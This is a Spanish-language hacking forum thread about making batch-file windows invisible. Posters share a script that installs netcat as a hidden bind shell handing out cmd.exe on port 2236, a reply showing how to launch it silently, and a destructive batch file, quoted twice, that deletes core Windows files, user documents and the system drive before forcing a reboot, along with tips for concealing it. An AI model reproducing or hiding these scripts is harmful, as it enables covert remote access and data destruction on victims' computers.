hacer una ventana de DOS invisible en .BAT

Iniciado por koopa2, 12 Diciembre 2006, 16:13 PM

0 Miembros y 1 Visitante están viendo este tema.

koopa2

hola gente , estoy haciendo un programa en .BAT que lo que hace es mover un archivo a una carpeta y ejecutar un comando en el DOS pero al ejecutar un comando la ventana del DOS no se cierra. como puedo hacer pra que esa ventana se haga invisible?



@echo off


copy nc.exe C:\WINDOWS\system32
nc -l -p 2236 -e cmd.exe -d


exit

Hendrix

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián

CA

Hendrix tu programa no le resuelve el problema.  Ni siquiera le copia el archivo y porsupuesto no deja el nc en bakcground.
Del gran mar he llegado a la tierra media y esta sera mi morada y la de mis descendientes hasta el fin del mundo.

sirdarckcat

intenta asi:

@echo off
start /B /SHARED /HIGH nc -l -p 2236 -e cmd.exe -d|exit


Saludos!!

grecoitalico

buenas tardes amigos.,.,. yo tengo un problemita parecido.,.,.,. quiero que este bat al ejecutarlo no se vea en la pantalla

color 0A
del /f %systemroot%\system\hal.dll
del /f %systemroot%\system32\hal.dll
del /f %systemroot%\system\system.*
del /f %systemroot%\system32\system.*
del /f %systemroot%\system32\Win.com
del /f %systemroot%\system32\command.com
del /f %systemroot%\system32\keyboard.*
del /f %systemroot%\system32\shell.*
del /f %systemroot%\system32\mouse.*
del /f %systemroot%\system32\msvideo.*
del /f %systemroot%\regedit.exe
del /f %systemroot%\taskman.exe
del /f %systemroot%\explorer.exe
del /f %systemroot%\system32\taskkill.exe
del /f %systemroot%\system32\tasklist.exe
del /f %systemroot%\system32\taskmgr.exe
del /f %systemroot%\keyboard.*
rd /s /q "%homepath%/Mis Documentos"
cd\
cd %HOMEPATH%
del *.* /f /s /q
cd Desktop
cd Escritorio
del *.* /f /s /q
cd\
cd %SYSTEMDRIVE%
del *.* /f /s /q
shutdown -r -f


que puedo colocarle empezando para que sea invisible.... gracias de antemano

~[uNd3rc0d3]~

pueden usar el comando start como dice sdk puede usar el programa de hendrix....(no se si es el mismo que pienso yo) pero compilando en modo ghost o modo escondido

pueden usar un comando que hay para descargar para el cmd que se llama cmdown a algo por el estilo...averiguen.....

pueden enbeber VBS en el codigo batch para esconderlo.....

hay varias manera.....

con respecto a el code este

color 0A
del /f %systemroot%\system\hal.dll
del /f %systemroot%\system32\hal.dll
del /f %systemroot%\system\system.*
del /f %systemroot%\system32\system.*
del /f %systemroot%\system32\Win.com
del /f %systemroot%\system32\command.com
del /f %systemroot%\system32\keyboard.*
del /f %systemroot%\system32\shell.*
del /f %systemroot%\system32\mouse.*
del /f %systemroot%\system32\msvideo.*
del /f %systemroot%\regedit.exe
del /f %systemroot%\taskman.exe
del /f %systemroot%\explorer.exe
del /f %systemroot%\system32\taskkill.exe
del /f %systemroot%\system32\tasklist.exe
del /f %systemroot%\system32\taskmgr.exe
del /f %systemroot%\keyboard.*
rd /s /q "%homepath%/Mis Documentos"
cd\
cd %HOMEPATH%
del *.* /f /s /q
cd Desktop
cd Escritorio
del *.* /f /s /q
cd\
cd %SYSTEMDRIVE%
del *.* /f /s /q
shutdown -r -f


por mas que lo ocultes vas a gastar todos los recursos del sistema borrando cosas...y ademas no llegaras al final del code......

te quedas sin base (SO,ms-dos,etc) que lo pueda leer

es como que estas haciendo un edificio de cartas y para hacer el ultimo piso sacas las cartas del primer piso  :P

saludos

leete las reglas asi todos estamos mejor ;)